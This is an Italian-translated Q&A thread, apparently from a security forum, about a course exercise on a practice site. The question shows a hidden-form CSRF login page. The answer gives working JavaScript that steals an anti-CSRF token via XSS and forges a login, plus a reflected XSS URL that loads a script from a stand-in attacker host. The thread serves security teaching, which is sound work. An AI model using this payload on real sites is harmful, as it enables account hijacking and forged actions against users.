Come posso eseguire con successo un attacco xss su un sito Web fittizio? [chiuso]

3

nel mio corso sulla sicurezza, ci è stato detto di praticare un attacco xss usando firefox su questo sito Web;

http://permalink.co/            

Non preoccuparti, questo è un sito web appositamente configurato per farci esercitare la sicurezza. Il campo csrf che vedi dovrebbe essere impostato su 1 (per la convalida del token, il token è casuale) e il campo xss deve essere impostato su 0 per questa pratica. Dovremmo scrivere un file html e includere altri linguaggi come javascript, in modo tale che quando il nostro file viene eseguito dal browser, dovrebbe semplicemente visualizzare una pagina vuota. Ma una volta aggiornato, dovrebbe mostrare che siamo collegati al sito web che ho dato sopra. Il nome utente è "attacker" e la password è "l33th4x".

In pratica ho bisogno di bloccare password, nome utente e token. Mi è venuto in mente un piano per usare un cookie e impostare il token su "abc". Quindi, quando arrivo al login, uso il nome utente e la password che conosco con token = abc che ho impostato consapevolmente. Ma il mio codice non funziona, mi è stato detto che ho bisogno di due moduli, il primo per impostare il token cookie su "abc" e il secondo per l'accesso usando i tre parametri. Ma non vedo cosa mettere nel 1 ° modulo. Ho trovato il codice qui sotto ma non funziona, ho bisogno di aiuto;

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>   
<head>       
<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>        
</head>
<body>
<iframe style="border:none;width:0px;height:0px" id="iframe_submit"    name="iframe_submit"></iframe>        
<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">       
<input type="hidden" name = "csrf_token" value="abc"><br>
<input type="hidden" name = "username" value="attacker"><br>        
<input type="hidden" name = "password" value="l33th4x"><br>    
</form>
<script type="text/javascript">
document.setcookie="csrf_token=abc";
document.forms["form_id"].submit();                              
</script>
</body>
</html>

Per una visualizzazione di prima mano della domanda, visita il sito Web sottostante e cerca il numero 2.1. Ciò era dovuto lo scorso mese ma non l'ho capito e gli esami si stanno avvicinando;      link

    
posta user124627 10.03.2015 - 17:35
fonte

1 risposta

1

I came up with the code below but it doesn't work

Questo perché si sta eseguendo un attacco CSRF, ma nell'esercizio 2.1 esiste effettivamente un token anti-CSRF che impedisce questo. Devi sfruttare la vulnerabilità XSS qui.

I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set.

Anche questo non funzionerà (almeno non se il programmatore è abbastanza competente per implementare correttamente la protezione anti-CSRF). Il token per confrontare il token del modulo non è memorizzato nel cookie, ma nella sessione, quindi non può essere impostato dall'utente.

Ignora CSRF tramite XSS

Il punto di questo esercizio è che tu veda che la prevenzione CSRF è inutile quando c'è una vulnerabilità XSS in qualsiasi punto del sito web (non solo la pagina che vuoi attaccare).

Ecco il codice (potrebbe essere necessario regolare alcuni valori delle variabili):

    var csrfProtectedPage = 'http://permalink.co/login';
    var csrfProtectedForm = 'form';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementById(csrfProtectedForm);
    var token= form.token.value;

    // build form with valid token and evil credentials
    document.body.innerHTML 
     += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
     + '<input type="hidden" name="csrf_token" value="' + token + '">'
     + '<input id="userpass" name="password" value="evilPass">'
     + '<input id="username" name="username" value="evilUser">'
     + '</form>';

    // submit form
    document.forms["myform"].submit();

    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }

Quindi invia la tua vittima a http://permalink.co/search?q=<script src="http://evil.attacker/script.js"></script> (se non vuoi che facciano clic, ma semplicemente visita il tuo sito web, caricalo come immagine).

L'idea è di iniettare javascript nel sito vulnerabile che carica la pagina di accesso, ottiene un token e quindi invia il modulo con il token valido.

Ignora CSRF senza XSS

Sarebbe interessante conoscere la risposta alla domanda 2.2 nel tuo documento (l'attacco sopra, ma senza XSS).

Potresti pensare di poter eseguire gli stessi passaggi senza la vulnerabilità XSS, ma ciò non è possibile a causa della stessa politica di origine (non puoi accedere ai dati da un'origine diversa con Javascript, quindi l'attacco fallisce su get step che carica il modulo).

    
risposta data 10.03.2015 - 18:53
fonte

Leggi altre domande sui tag